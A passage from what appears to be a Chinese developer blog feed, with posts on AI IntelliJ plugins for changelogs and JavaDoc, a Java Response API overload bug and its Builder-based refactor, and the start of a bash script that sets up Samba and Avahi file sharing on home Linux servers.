    - 🔧 技术改进：性能优化、重构
    - 📚 文档更新：文档相关

    注意：
    - 输出不要用代码块包裹
    - 根据实际情况灵活调整分类
    """;

Prompt 模板是可配置的，用户可以在设置面板里自定义。

模板系统

插件内置了几种模板，也支持用户自定义。模板里用 {version}、{commits}、{date} 等占位符：

@NotNull
private String buildPrompt(@NotNull List<CommitInfo> commits) {
    SettingsState settings = SettingsState.getInstance();
    String template = settings.changelogTemplate;
    String commitsText = buildCommitsText(commits);

    return template
        .replace("{version}", "v1.0.0")
        .replace("{commits}", commitsText);
}

提交记录会按日期分组后再塞进 prompt，这样 AI 能理解时间序列：

@NotNull
private String buildCommitsText(@NotNull List<CommitInfo> commits) {
    SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd");
    Map<String, List<CommitInfo>> commitsByDate = new LinkedHashMap<>();

    for (CommitInfo commit : commits) {
        String dateStr = dateFormat.format(commit.date);
        commitsByDate.computeIfAbsent(dateStr, k -> new ArrayList<>()).add(commit);
    }

    StringBuilder sb = new StringBuilder();
    for (Map.Entry<String, List<CommitInfo>> entry : commitsByDate.entrySet()) {
        sb.append("### ").append(entry.getKey()).append("\n\n");
        for (CommitInfo commit : entry.getValue()) {
            sb.append("- ").append(commit.shortMessage).append("\n");
        }
        sb.append("\n");
    }
    return sb.toString().trim();
}

生成效果示例

Changelog 生成

输入（Git 提交记录）：

### 2024-10-27

- fix: 修复用户登录 token 过期问题
- feat: 新增用户积分系统
- refactor: 重构订单处理逻辑
- fix: 修复支付接口超时问题
- docs: 更新 API 文档

输出：

# v1.2.0 版本更新 (2024-10-27)

## 🚀 新增功能

### 用户积分系统
- 新建完整的用户积分管理体系
- 支持积分获取、消费、查询功能
- 集成签到、分享等积分获取渠道

## 🐛 问题修复

### 登录稳定性提升
- 修复了用户登录时 token 过期导致的异常问题
- 优化 token 刷新机制，提升登录体验

### 支付系统优化
- 修复支付接口在高并发下的超时问题
- 优化支付重试机制，提高支付成功率

## 🔧 技术改进

### 订单处理重构
- 重构订单处理的业务逻辑，提升代码可维护性
- 优化订单状态流转，减少逻辑错误

基于 Diff 生成 Commit Message

输入（代码变更）：

// 文件: UserService.java
// 新增 15 行，删除 8 行
+ public UserDTO getUser(String userId) {
+     return userMapper.findById(userId);
+ }

输出：

feat(user): 新增用户查询服务

- 新增 UserService 类，提供用户信息查询功能
- 实现基于用户ID的查询方法 getUser
- 集成 MyBatis 进行数据库操作
- 添加完整的 JavaDoc 文档

Closes #123

异步处理和性能

生成过程放在后台线程，不阻塞 UI：

@Override
protected void actionPerformed(@NotNull AnActionEvent e,
                               @NotNull List<String> commitHashes) {
    Project project = e.getProject();
    if (project == null) return;

    ProgressManager.getInstance().run(new Task.Backgroundable(project, "生成 Changelog") {
        @Override
        public void run(@NotNull ProgressIndicator indicator) {
            try {
                indicator.setText("正在读取提交记录...");
                ChangelogService service = ChangelogService.getInstance(project);
                String changelog = service.generateChangelog(commitHashes);

                ApplicationManager.getApplication().invokeLater(() -> {
                    showResultDialog(project, changelog);
                });
            } catch (Exception ex) {
                ApplicationManager.getApplication().invokeLater(() -> {
                    showErrorDialog(project, ex.getMessage());
                });
            }
        }
    });
}

提交记录做了缓存，同一个 hash 不会重复读取：

private final Map<String, String> commitCache = new ConcurrentHashMap<>();

@NotNull
private List<CommitInfo> readCommits(@NotNull List<String> commitHashes) {
    // ...
    for (String hash : commitHashes) {
        String cached = commitCache.get(hash);
        if (cached != null) {
            commits.add(deserializeCommitInfo(cached));
            continue;
        }
        // 读取并缓存
    }
}

配置项

设置面板支持：

AI 提供商：OpenAI、Anthropic、Ollama 等
模板定制：Changelog、日报、周报各自的 prompt 模板
系统提示词：调整 AI 的生成风格
语言偏好：生成内容的语言和格式

效率对比

场景	手动	插件	提升
版本 Changelog	2-3 小时	5-10 分钟	~24x
工作日报	30-60 分钟	3-5 分钟	~12x
工作周报	1-2 小时	10-15 分钟	~8x
Commit message 规范	看心情	95% 规范率	-

相关文章:

IntelliAI Engine - 统一接入 30+ AI 服务商的底层平台
IntelliAI Terminal - 终端自然语言生成 Shell 命令
IntelliAI JavaDoc - AI 驱动的 JavaDoc 自动生成插件

Response 二义性之殇与异常处理重构

Sat, 24 Jan 2026 00:00:00 GMT

一个隐藏了一年的 bug

先看一段代码。这是框架里 Response 类的几个静态工厂方法：

public static Response success() {
    return Response.success(null);
}

public static <T> Response success(T data) {
    return new Response().success(data, null);
}

public static Response success(String message) {
    return new Response().success(null, message);
}

public Response success(T data, String message) {
    this.meta = new Meta(ResponseState.SUCCESS, message);
    this.data = data;
    return this;
}

调用方的代码很简单：

@GetMapping("/value")
public Response<String> getDictValue() {
    String dictValue = "1111";
    return Response.success(dictValue);
}

请问返回值是什么？

如果你觉得 meta.success = true，data = "1111"——错了。实际结果是 meta.success = true，data = null，meta.message = "1111"。

原因是 Java 的重载解析：success(String) 比 success(T) 更具体，编译器优先选了前者。调用方想把 "1111" 当业务数据返回，但框架把它当成了提示消息。

这个 bug 在生产环境存在了一年多，没人发现。为什么？因为这个接口恰好是一个字典查询，前端在没有 data 的时候自己 fallback 了一个默认值。后来字典配置变了，前端 fallback 的值和后台配置不一致，顺藤摸瓜才查到这里。

这不是一个编码失误，这是一个 API 设计缺陷。当你提供的 API 在特定类型下行为发生”静默改变”时，你埋下的不是 bug，而是一个迟早会触发的雷。

为什么失败了还要 data

再看 failure 方法：

public static Response failure() {
    return failure(null);
}

public static Response failure(String message) {
    return new Response().failure(null, message);
}

public Response failure(T data, String message) {
    this.meta = new Meta(ResponseState.FAIL, message);
    this.data = data;
    return this;
}

一个真实的调用：

public Response getWeChatUserAccessToken(String code, String responseToken) {
    if (responseToken == null || !token.equals(responseToken)) {
        return new Response().failure("微信返回的Token与配置不一致!", responseToken);
    }
    ...
}

这里开发者的意图是把错误详情放进 data，把错误概述放进 message。但参数顺序反了——failure(T data, String message)，第一个参数是 data，第二个是 message。所以 "微信返回的Token与配置不一致!" 变成了 data，responseToken 变成了 message。前端取错误信息的时候，到底读 data 还是读 message？如果是不同的人写的不同接口，有的把错误信息放 data，有的放 message，前端就得写两套处理逻辑。

再举一个更极端的例子——参数校验失败时的处理：

private Response buildArgumentValidMsg(BindingResult b) {
    List<Map<String, Object>> invalidArguments = new ArrayList<>();
    StringBuilder sb = new StringBuilder("【");
    for (FieldError error : b.getFieldErrors()) {
        Map<String, Object> errorMap = new HashMap<>(3);
        errorMap.put("field", error.getField());
        errorMap.put("defaultMessage", error.getDefaultMessage());
        errorMap.put("rejectedValue", error.getRejectedValue());
        invalidArguments.add(errorMap);
        sb.append(error.getDefaultMessage()).append(";");
    }
    sb.append("】");
    return new Response().failure(invalidArguments, "参数校验未通过！" + sb.toString());
}

这个方法做了几件事：把校验不通过的字段详情结构化放到 data 里，又把所有错误信息拼接成字符串放到 message 里。结果 data 和 message 各有一份错误信息，只是结构不同。前端看到的是一个失败的响应，里面有 data（一个复杂的对象数组），也有 message（一个拼接的字符串），但他不知道以哪个为准来展示给用户。

这种做法背后是一个更根本的问题：failure 方法的语义不清晰。成功的时候返回 data，天经地义。失败的时候，返回的应该是错误信息，而不是业务数据。把 data 和失败结果放在一起，只会让调用方困惑——这个 data 到底是错误详情，还是部分成功的业务数据？

重载规则的真正陷阱

上面那个 success(String) vs success(T) 的问题，其实 Java 规范里有明确定义。JLS 15.12.2.5 说，当多个方法都匹配时，选择”最具体”的那个。String 是 Object 的子类，所以 success(String) 比 success(T)（擦除后是 success(Object)）更具体。

对于非 String 类型，不会有这个问题。但问题是，调用方不知道自己传入的参数会在什么时候恰好变成 String。他可能在测试的时候传的是 Integer，测试通过。后来需求变了，参数改成了 String，测试也通过（因为 success 不报错），但返回结果不对。这种”静默失败”是最危险的，因为它在所有层面看起来都是正确的——HTTP 200，meta.success=true，没有异常日志。

解决方案不是让开发者注意不要传 String，而是在设计 API 时就不要创建这种二义性的重载。具体来说：

去掉 success(String message) 这个容易产生歧义的重载；
如果要设置 message，必须显式调用 success(T data, String message)，这样调用方明确知道自己在设置 message；
或者干脆去掉所有不带 message 的方法，统一走 Builder 模式。

异常处理组件该放哪

Response 是统一返回体，异常处理则是它的另一面——当程序出错时，怎么把异常转成统一的错误响应返回给前端。这两个东西是密切相关的。

框架里有一个 exception-starter 组件，里面放了异常模型和全局异常处理器。但仔细想想，这两样东西的归属应该不同。

异常模型（各种业务异常类）属于通用基础层，应该放在 core 里。任何模块都可能需要抛异常——不管是 web 模块、rpc 模块还是定时任务模块，它们不应该为了引用一个异常类而依赖整个 starter。

全局异常处理器（@ControllerAdvice 或 @RestControllerAdvice）是 Spring Web 的特性，属于适配层。它应该放在 rest 或 web 模块中，只在需要提供 REST API 的服务里生效。

这样拆分之后，exception-starter 还剩下什么？如果它只是把 core 的异常模型和 web 的全局处理器拼在一起，那这个 starter 就没有独立存在的必要了。可以直接取消，或者在它里面放真正扩展的能力——异常监控告警、错误码国际化、异常日志与链路追踪的联动。

这其实是一个通用的原则：一个 starter 要有独立的存在价值。如果它的功能完全可以被拆分到其他模块中而不损失任何能力，那它就应该被拆分。

重构方案

说了这么多问题，怎么改？原则很简单：保持向后兼容，分阶段迁移。

第一步：修正 Response 的 API

核心思路是引入 Builder 模式，提供一条清晰的构建路径：

@Data
public class ApiResponse<T> implements Serializable {
    private Meta meta;
    private T data;

    private ApiResponse(Meta meta, T data) {
        this.meta = meta;
        this.data = data;
    }

    // 成功 - 只用这两个就够了
    public static <T> ApiResponse<T> success() {
        return new ApiResponse<>(new Meta(ResponseState.SUCCESS, null), null);
    }

    public static <T> ApiResponse<T> success(T data) {
        return new ApiResponse<>(new Meta(ResponseState.SUCCESS, null), data);
    }

    // 失败 - 只需要 message
    public static <T> ApiResponse<T> failure(String message) {
        return new ApiResponse<>(new Meta(ResponseState.FAIL, message), null);
    }

    // 复杂场景用 Builder
    public static <T> Builder<T> builder() {
        return new Builder<>();
    }

    public static class Builder<T> {
        private Meta meta;
        private T data;

        public Builder<T> success() {
            this.meta = new Meta(ResponseState.SUCCESS, null);
            return this;
        }

        public Builder<T> failure() {
            this.meta = new Meta(ResponseState.FAIL, null);
            return this;
        }

        public Builder<T> code(String code) {
            if (this.meta != null) this.meta.setCode(code);
            return this;
        }

        public Builder<T> message(String message) {
            if (this.meta != null) this.meta.setMessage(message);
            return this;
        }

        public Builder<T> data(T data) {
            this.data = data;
            return this;
        }

        public ApiResponse<T> build() {
            if (meta == null) this.meta = new Meta(ResponseState.SUCCESS, null);
            return new ApiResponse<>(meta, data);
        }
    }
}

对于参数校验失败这种需要返回结构化错误详情的场景，用 Builder：

private ApiResponse<Void> buildArgumentValidMsg(BindingResult b) {
    List<FieldErrorDetail> errors = b.getFieldErrors().stream()
        .map(e -> new FieldErrorDetail(e.getField(), 
                e.getDefaultMessage(), e.getRejectedValue()))
        .toList();

    return ApiResponse.<Void>builder()
        .failure()
        .code("VALIDATION_ERROR")
        .message("参数校验未通过")
        .data(errors)  // 结构化错误详情明确放在 data 里
        .build();
}

之前那个微信 Token 校验的场景，变成了：

public ApiResponse<?> getWeChatUserAccessToken(String code, String responseToken) {
    if (responseToken == null || !token.equals(responseToken)) {
        return ApiResponse.failure("微信返回的Token与配置不一致!");  // 干净，没有歧义
    }
    ...
}

第二步：处理兼容性

旧的 Response 类保留，标记 @Deprecated：

@Deprecated
public class Response<T> extends ApiResponse<T> {
    // 委托给 ApiResponse，保持旧调用方正常工作
    @Deprecated
    public static Response success(String message) {
        // 日志告警：有人在用容易产生歧义的方法，建议迁移
        log.warn("Response.success(String) 已被废弃，请使用 ApiResponse.success() 或显式传入 data 参数");
        return ...;
    }
}

在过渡期内，框架同时支持 Response 和 ApiResponse。关键是在监控里埋点，看哪些服务还在用旧的 API，主动推动迁移。等所有服务都迁移完成后，下一个大版本再删除 Response 类。

第三步：异常组件重组

Before:
  exception-starter/
    ├── BaseException.java
    ├── BusinessException.java
    ├── SystemException.java
    └── GlobalExceptionHandler.java

After:
  core/
    ├── exception/
    │   ├── BaseException.java
    │   ├── BusinessException.java
    │   └── SystemException.java

  rest/
    └── handler/
        └── GlobalExceptionHandler.java

  exception-starter/ (如果还需要的话)
    └── monitor/
        └── ExceptionMetricsReporter.java  # 异常监控

这样改了之后，一个纯 RPC 的模块引入 core 就能用异常模型，不需要引入多余的 web 依赖。一个 web 模块引入 rest 就自动获得全局异常处理器。职责清晰，依赖最小化。

越简单的 API，越难设计

重构 Response 这件事让我特别有感触。它可能是整个框架里”最简单”的类——十几个方法，几百行代码。但正因为它简单，所有微服务、所有接口都在用它，它的每一个设计缺陷都会被无限放大。

设计 API 的时候有一个检验标准：如果一个方法名，使用者在调用之前需要犹豫”我该用哪个”，那这个 API 的设计就是失败的。 success(String) 和 success(T) 就完美地中了这个标准——当 T 恰好是 String 时，使用者和编译器做出了不同的选择。

下一篇我们聊缓存组件。它的问题刚好相反——不是太简单，而是太复杂。一个接口塞了五十几个方法，三种 Redis 客户端实现交织在一起，还有静态工具类和单例模式的混用。那是另一种维度的挑战。

从重复劳动到智能助手：我为什么要开发一个 JavaDoc 插件

Sun, 18 Jan 2026 00:00:00 GMT

现有方案的痛点

写 JavaDoc 是一件所有人都觉得该做、但没人愿意做的事。CI/CD 检查会因为缺少文档卡你，Code Review 会因为文档质量不行打回，但真要写的时候，你发现这完全是重复劳动——方法签名已经告诉你参数和返回值，方法体就在眼前，你只是用自然语言复述一遍代码本身就能表达的信息。

市面上的自动生成工具要么只给你空壳模板（@param userId the user id），要么需要你切换到命令行或者外部工具，打断开发流程。而直接用 ChatGPT 或者 Cursor，虽然能生成不错的文档，但每次都要手动复制代码、切换窗口、等结果再贴回来，而且通用 AI 工具加载了大量 Agent、MCP、Skill 上下文，你只是想给一个方法加个文档，也要消耗大量 token。

这个问题的核心其实很简单：输入是光标所在的代码元素，输出是格式化的 JavaDoc 注释，一轮问答就够了。用最轻量的 AI 调用嵌入 IDE，不离开编辑器，不多消耗一个 token，这就是这个插件要做的事。

功能一览

功能	入口	说明
生成 JavaDoc	Alt+Enter / 快捷键 / 右键菜单	为光标所在的类、方法、字段生成文档
修复已有注释	FIX 模式	保留原注释发给 AI，只修正错误或补充缺失部分
CodeVision 行内提示	编辑器行内	缺少文档的元素显示”Generate Javadoc”提示，点击即生成
保存时自动生成	文件保存触发	保存时自动为改动范围内的元素补充文档，不影响保存速度
Git 提交时检查	提交页面	提交前扫描缺失文档，提示批量补全
删除 Javadoc	Intention Action	一键删除元素的 Javadoc 注释

支持 Java 和 Kotlin，通过 IntelliAI Engine 统一调用 OpenAI、Anthropic、Ollama 等多种 AI 后端。

和其他方案比，好在哪

vs 空壳模板工具：不只是填充模板。插件通过 PSI 分析代码结构和业务语义，AI 看到的是带上下文的代码，生成的文档有实际意义，不是 @param userId the user id 这种废话。

vs 通用 AI 工具（ChatGPT、Cursor 等）：

Token 消耗低一个数量级。插件会对代码做压缩预处理，不是把整个文件原样扔给 AI
无缝集成在 IDE 里，光标定位 → Alt+Enter → 出结果，不需要切换窗口
支持多服务商并行生成，批量处理几十个文件不会卡住
模板和标签完全可定制，生成风格和格式可控

vs 其他 AI JavaDoc 插件：

不是”生成就完了”：AI 返回的文本会经过多层后处理——过滤多余的 Markdown 代码块、根据方法签名清理 AI 错误添加的 @param/@throws 标签、中英文之间自动加空格、中文标点转英文标点、单行注释自动压缩
不只是手动触发：CodeVision 行内提示、保存时自动生成、Git 提交时检查，覆盖了开发流程中的每一个文档需求时机
不只是”覆盖重写”：FIX 模式下保留原注释让 AI 只修正错误，不会丢失人工编写的有价值内容
PSI 语义分析：不是把代码原样扔给 AI，而是分析架构位置、职责、依赖关系，注入结构化上下文

核心：怎么让 AI 理解你的代码并生成准确的文档

用 AI 生成 JavaDoc 看起来简单，但要做好很难。直接把 element.getText() 扔给 AI 不行，原因有三：

代码太长：一个复杂类可能几百上千行，全部发过去 token 浪费严重
缺少上下文：单个方法的代码是孤立的，AI 不知道这个方法属于哪个类、被谁调用、在架构中扮演什么角色
噪音干扰：注释、空行、格式化代码占据了大量篇幅，对生成文档没有帮助

插件围绕这三个问题做了多层优化。

代码压缩

对发给 AI 的代码做预处理，去掉对文档生成无用的内容：

// AiCodePreprocessor.java
public static String preprocess(String code, boolean removeComments) {
    // 1. 删除 Javadoc、块注释、单行注释（FIX 模式下保留注释，让 AI 看到原文修正）
    // 2. 多空格合并为单空格，删除符号两侧空格
    // 3. 删除空行
    // 4. 缩进压缩到最小层级（每层 1 个空格）
}

实际效果：一个 200 行的类，压缩后可能只有 60-80 行，token 消耗减少 60% 以上。而且因为去掉了噪音，AI 生成的质量反而更高。

类级上下文注入

生成方法或字段的文档时，AI 需要知道这个元素在类中的位置。插件会在方法/字段代码前注入压缩后的类代码片段作为上下文：

// TaskCollector.java - buildClassCodeContext()
String reformatCode = AiCodePreprocessor.preprocess(
    optimizeClassCode(psiClass.getText()));
String snippet = limitLines(reformatCode);  // 限制最大行数

AI 看到的 prompt 结构是这样的：

### 类级上下文（仅供参考，不直接生成注释）
<CLASS_CONTEXT_START>
 ...压缩后的类代码...
<CLASS_CONTEXT_END>

### 最终需要生成注释的代码片段
...当前方法/字段代码...

这样 AI 既能理解方法所属的类和上下文，又不会把类级代码也生成注释。

PSI 语义分析

这是插件和”直接把代码扔给 AI”最本质的区别。插件通过 IntelliJ PSI 接口分析类的语义信息，注入给 AI 的不是裸代码，而是带有语义标注的结构化数据：

// ClassSemanticAnalyzer.java
public ClassSemanticModel analyze(PsiClass psiClass, Project project) {
    // 1. 架构位置：通过 Spring 注解和包名判断
    //    @RestController → 控制器
    //    @Service → 服务层
    //    包名含 .repository → 仓库层

    // 2. 职责推断：从类名提取领域 + 方法名提取动词
    //    UserService → "user 创建和管理逻辑"
    //    方法名含 query/get/find → "查询和检索逻辑"

    // 3. 暴露范围：检查是否被其他模块引用
    //    Controller 一律是"作为公共API暴露"
    //    被跨模块引用 → "作为公共API暴露"
    //    否则 → "仅内部使用"

    // 4. 使用场景：分析调用者类型
    //    被 Controller 引用 → "REST控制器"
    //    被 @EventListener 引用 → "事件监听器"

    // 5. 依赖关系：分析字段注入和方法调用
    //    注入 *Repository → "数据库访问"
    //    注入 *Client → "远程服务"
    //    方法中调用 publish/send → "发布领域事件"
    //    方法中调用 save/persist → "执行数据库操作"

    // 6. 设计意图：推断类的设计目的
    //    无基础设施依赖 → "避免基础设施关注"
    //    含 create/validate/calculate → "封装业务规则"
}

这些语义信息会被组装成结构化的 prompt 注入给 AI：

### 语义上下文
类的角色摘要：
- 架构层级：服务层
- 主要职责：user 创建和管理逻辑
- 暴露范围：作为公共API暴露

使用场景：
- 主要由 REST控制器、事件监听器 调用

依赖关系：
- UserRepository (数据库访问)
- EventPublisher (事件发布)

设计意图：
- 封装业务规则

AI 拿到这些信息后，生成的 JavaDoc 不会再是泛泛的描述，而是能准确反映类在架构中的位置、职责和设计意图。

不同元素类型的差异化处理

插件不会用同一个模板处理所有元素。根据元素类型（类、方法、字段、测试方法）使用不同的 prompt 模板，覆写模式也有区分：

// AIRequestComposer.java
String template = switch (task.getType()) {
    case CLASS, INTERFACE, ENUM -> {
        // 类模板：注入语义上下文 + 自定义标签（@author, @date, @version）
        yield mergeContextAndCode(classTemplate, task.getContext(), task.getCode());
    }
    case FIELD -> fieldPromptTemplate;
    case TEST_METHOD -> testPromptTemplate;   // 测试方法用简化模板
    default -> methodPromptTemplate;
};

修复已有注释（FIX 模式）

不只是”没有注释才生成”。当元素已有 Javadoc 时，插件提供两种覆写模式：

FIX：保留原注释发给 AI，用专门的修复提示词让 AI 只修正错误或补充缺失信息。不会丢失人工编写的有价值内容
REPLACE：删除原注释，让 AI 从头生成

// AIRequestComposer.java
if (settings.overrideExisting && settings.overrideMode == OverrideMode.FIX) {
    PsiElement element = task.getElement();
    if (PsiElementLocator.hasJavaDoc(element)) {
        // 有注释 → 用修复提示词，AI 看到原文后只做修正
        String template = resolveTemplate(settings.fixJavadocPromptTemplate, ...);
        String codeWithContext = mergeContextAndCode(task.getContext(), task.getCode());
        return String.format(template, codeWithContext);
    }
    // 没有注释 → 用正常的生成提示词
}

AI 响应后处理

AI 返回的文本不能直接插入代码。插件在插入前做了多层清洗：

过滤多余内容

AI 经常不听话——你说”只返回注释”，它偏要返回代码块或者把原始代码也带上：

// DocumentationInserterHelper.java

// 1. 过滤 Markdown 代码块（AI 有时会用 ```java 包裹返回内容）
javadoc = filterMarkdownCodeBlocks(javadoc);

// 2. 过滤注释之后的代码（AI 有时会把原始方法代码也返回）
javadoc = filterCodeAfterComment(javadoc);

// 3. 确保是合法的 Javadoc（必须以 /** 开头，*/ 结尾）
if (!javadoc.startsWith("/**") || !javadoc.endsWith("*/")) {
    return "";
}

根据方法签名清理多余标签

AI 最常见的错误：给没有参数的方法加上 @param，给 void 方法加上 @return，给字段加上 @throws。插件会根据实际的 PSI 方法签名做校验：

// DocumentationInserterHelper.java - cleanParamAndThrowsTags()

// 字段：移除所有 @param、@throws、@return（字段不应该有这些标签）
if (element instanceof PsiField) {
    // 删除所有参数/异常/返回值标签
}

// 方法：根据实际签名清理
if (!hasParams) 删除 @param 行;       // 方法没有参数 → 删掉 AI 乱加的 @param
if (!hasThrows) 删除 @throws 行;      // 方法没有声明异常 → 删掉 @throws
if (!hasReturnValue) 删除 @return 行;  // void 方法 → 删掉 @return

这个校验是基于 PSI 的精确判断，不是字符串匹配。

中英文之间自动加空格

AI 生成的中文文档里，中英文混排时经常没有空格，读起来很不舒服。插件集成了 Pangu 排版工具，自动在中文和英文/数字之间插入空格：

// 处理前
"这是一个User类，包含100个方法，使用Java开发"

// 处理后
"这是一个 User 类，包含 100 个方法，使用 Java 开发"

这个处理是可配置的，在设置中可以开关。

中文标点转英文标点

同样的，AI 生成的文档里标点符号风格不统一。插件可以将中文标点（，、。、（、））替换为英文标点（,、.、(、)），保持 Javadoc 标点风格一致。

// DocumentationInserterHelper.java - formatJavaDocContent()
javadoc = MessageFormatter.format(
    javadoc,
    settings.addSpaceBetweenChineseAndEnglish,  // 中英文间距
    settings.replaceChinesePunctuation           // 标点规范化
);

两项处理都是可配置的，用户可以根据团队规范自由开关。

单行注释压缩

当 Javadoc 只有一行描述、没有 @param/@return 等标签时，插件会自动把三行格式压缩为单行：

// 压缩前（3行）
/**
 * 用户服务类
 */

// 压缩后（1行）
/** 用户服务类 */

压缩条件：内容只有一行非空文本、不包含 Javadoc 标签、长度不超过 120 字符。超过限制的不会压缩，避免一行太长影响阅读。

IDE 深度集成

CodeVision 行内提示

在编辑器中，缺少 Javadoc 的类、方法、字段会显示类似”x usages”的行内提示，写着”Generate Javadoc”。点击即可生成，不需要移动光标、不需要按快捷键。

对于已有注释的元素，提示会变成”Override Javadoc”（如果启用了覆盖模式）。CodeVision 提示完全遵循用户配置——只显示你选择要生成的元素类型（类/方法/字段），只在你选择的语言（Java/Kotlin）上生效。

为了不影响编辑器性能，CodeVision 计算做了多项优化：

快速检查在 UI 线程（precomputeOnUiThread）完成，只做文件系统类型检查
慢操作（PSI 遍历、文件索引检查）放到后台线程的 ReadAction.nonBlocking 中
串行处理，避免 parallelStream 导致 IDEA 死锁
限制最大处理数量（50 个类、每个类 100 个方法/字段），防止大文件卡顿

保存时自动生成

开启后，每次保存文件时插件会自动检测改动范围内的方法和字段，只为它们补充 Javadoc。关键设计：

只处理改动的元素：通过 DocumentListener 跟踪每次编辑的范围（RangeMarker），保存时只检查改动范围内的方法/字段，不是全文件扫描
不阻塞保存：生成在后台异步执行，保存操作本身不会被延迟
防重复触发：用 AtomicBoolean 确保同一时间只有一个生成流程在运行
延迟 500ms 执行：避免与保存操作本身冲突

// GenerateOnSaveListener.java
// 1. DocumentListener 记录每次编辑的 RangeMarker
// 2. 保存时消费这些 RangeMarker，转为 TextRange
// 3. 只收集改动范围内的方法/字段任务
// 4. 延迟 500ms 后在后台线程执行生成

Git 提交时检查

在 Git 提交页面，插件会扫描所有待提交的 Java/Kotlin 文件，检测缺失 Javadoc 的类、方法、字段，生成汇总报告（比如”检测到 3 个类、12 个方法缺少 Javadoc”），提示用户是否一键补全。

这个功能不依赖配置，专门用于提交前的文档完整性检查。它会强制检查所有类型的元素（类、方法、字段），忽略用户的 generateForClass/generateForMethod/generateForField 设置，确保提交的代码不会缺少文档。

多服务商并行生成

批量处理文件时（比如整个项目补文档），插件支持多服务商并行执行。把任务分配给多个已配置的 AI 服务商，同一个文件内的任务按顺序处理，不同文件的任务并行处理：

// ParallelTaskExecutor.java
// 每个文件是一个队列，多个线程并发消费
// 同一文件的任务必须按顺序（避免插入位置冲突）
// 不同文件的任务可以完全并行
// 支持 429 限流自动切换、超时控制、重试机制

配置了多个 AI 服务商时，生成速度随服务商数量线性提升。还可以在设置中查看每个服务商的统计信息（响应速度、成功率、token 消耗），方便选择最优服务商。

配置项

设置面板支持：

AI 提供商：OpenAI、Anthropic、Ollama 等，可配置多个并设置优先级
模板定制：类、方法、字段、测试方法各自的 prompt 模板，包括修复已有注释的专用模板
系统提示词：调整 AI 的生成风格和语言偏好
JavaDoc 标签：自定义 @author、@date、@version 等标签的默认值
代码压缩：启用/禁用代码预处理，控制压缩程度
语义上下文：启用/禁用 PSI 语义分析
类上下文行数：控制注入的类级上下文最大行数
中英文间距：启用/禁用 Pangu 自动排版
标点规范化：启用/禁用中文标点转英文标点
单行注释压缩：启用/禁用单行 Javadoc 压缩为一行
CodeVision 提示：启用/禁用编辑器行内提示
保存时生成：启用/禁用保存时自动生成
语言支持：选择生成文档的语言（Java / Kotlin）
性能模式：启用多服务商并行处理，查看各服务商统计

效率对比

场景	手动	插件	提升
简单方法 JavaDoc	3-5 分钟	10-20 秒	~15x
复杂方法 JavaDoc	10-15 分钟	30-60 秒	~12x
类级别 JavaDoc	20-30 分钟	1-2 分钟	~15x
批量处理 50 个文件	2-3 小时	10-15 分钟	~12x
提交前文档检查	人工逐文件检查	一键扫描 + 批量补全	-

相关文章:

IntelliAI Engine - 统一接入 30+ AI 服务商的底层平台
IntelliAI Terminal - 终端自然语言生成 Shell 命令
IntelliAI Changelog - AI 一键生成 Changelog、日报、周报

受够了手动配 Samba：一个脚本搞定家里所有 Linux / OpenWrt 的文件共享

Fri, 16 Jan 2026 00:00:00 GMT

前言

说实话，我被 Samba 配置搞得快疯了。

家里现在有 5 台服务器，有装 Ubuntu 的，有装 CentOS 的，还有两台刷了 OpenWrt 的软路由。每次想共享个文件或者备份点数据，都得去手动配 Samba，真的太烦了。

你可能想，Samba 配置不就那几步吗？装个包，改个配置文件，重启服务不就完了？

我也是这么想的，但实际用起来你会发现这些坑：

每台机器都要重复操作 - 装 samba、改 smb.conf、设置用户权限…
网络发现很麻烦 - 有时候在 macOS 上能看到，有时候又看不到
端口问题 - 有些网络环境只开了 445 端口，有些又是 139 端口
用户权限混乱 - 这台用 root，那台用 user，记不住哪个是哪个

最烦的是什么？就是当你着急要传个文件的时候，发现找不到共享文件夹，或者连接不上。那种感觉真的会让人抓狂。

我的解决思路

既然每台都要配，为什么不写个脚本一键搞定呢？

💡 核心想法：

用脚本自动化所有重复操作
统一配置标准，避免每次都查文档
加入网络发现功能，让 macOS 和 Windows 能自动找到
支持多个共享目录，一次配置所有需求

不过说实话，一开始我也没想搞这么复杂。就想写个简单的 bash 脚本，装个 samba 包，改个配置文件就完事了。

但写着写着发现，如果要真正做到”一键配置”，还得考虑很多细节：

不同发行版的包管理器不一样（apt vs yum）
防火墙端口要开放
SELinux 权限问题
网络发现服务的配置

所以最后就变成了下面这个”万能脚本”👇

通用 Linux 一键脚本

这个脚本主要针对 Ubuntu/Debian 系统（因为我的服务器大部分都是这个），如果你想用在 CentOS 上，只需要把 apt 换成 yum 就行。

来看脚本具体干了啥：

#!/bin/bash

SAMBA_CONFIG="/etc/samba/smb.conf"
AVAHI_CONFIG="/etc/avahi/services/samba.service"
AVAHI_DAEMON_CONF="/etc/avahi/avahi-daemon.conf"

# 颜色定义
GREEN="\e[32m"
RED="\e[31m"
RESET="\e[0m"

# 安装核心组件
echo -e "${GREEN}🔧 安装 Samba 和 Avahi...${RESET}"
sudo apt update
sudo apt install -y samba avahi-daemon avahi-utils

# 禁用 nmbd 服务
echo -e "${GREEN}🛑 禁用 nmbd 服务...${RESET}"
sudo systemctl stop nmbd 2>/dev/null
sudo systemctl disable nmbd 2>/dev/null

# 用户输入配置
read -p "请输入 NetBIOS 名称（用于网络发现）: " NETBIOS_NAME

# 配置 Avahi 主机名
echo -e "${GREEN}🌐 配置 Avahi 主机名...${RESET}"
sudo sed -i "s/#host-name=.*/host-name=${NETBIOS_NAME}/g" $AVAHI_DAEMON_CONF
sudo sed -i "s/#publish-workstation=.*/publish-workstation=no/g" $AVAHI_DAEMON_CONF
echo -e "${GREEN}🌐 配置 Avahi 主机名...(done)${RESET}"

# 生成共享目录配置
declare -A SHARES
while true; do
    read -p "请输入共享名称（输入 'done' 结束）: " SHARE_NAME
    [[ "$SHARE_NAME" == "done" ]] && break

    read -p "请输入共享目录路径: " SHARE_PATH
    read -p "请输入备注信息（可留空）: " COMMENT

    sudo mkdir -p "$SHARE_PATH"
    SHARES["$SHARE_NAME"]="$SHARE_PATH|$COMMENT"
done

# 生成 Samba 配置
echo -e "${GREEN}🛠 生成 Samba 主配置...${RESET}"
sudo tee $SAMBA_CONFIG >/dev/null <<EOF
[global]
   workgroup = WORKGROUP
   netbios name = $NETBIOS_NAME
   server string = $NETBIOS_NAME
   disable netbios = yes
   mdns name = mdns
   wins support = yes
   smb ports = 445
   security = user
   usershare owner only = false
   public = yes
   browseable = yes

EOF

# 添加共享目录配置
for SHARE_NAME in "${!SHARES[@]}"; do
    IFS="|" read SHARE_PATH COMMENT <<< "${SHARES[$SHARE_NAME]}"
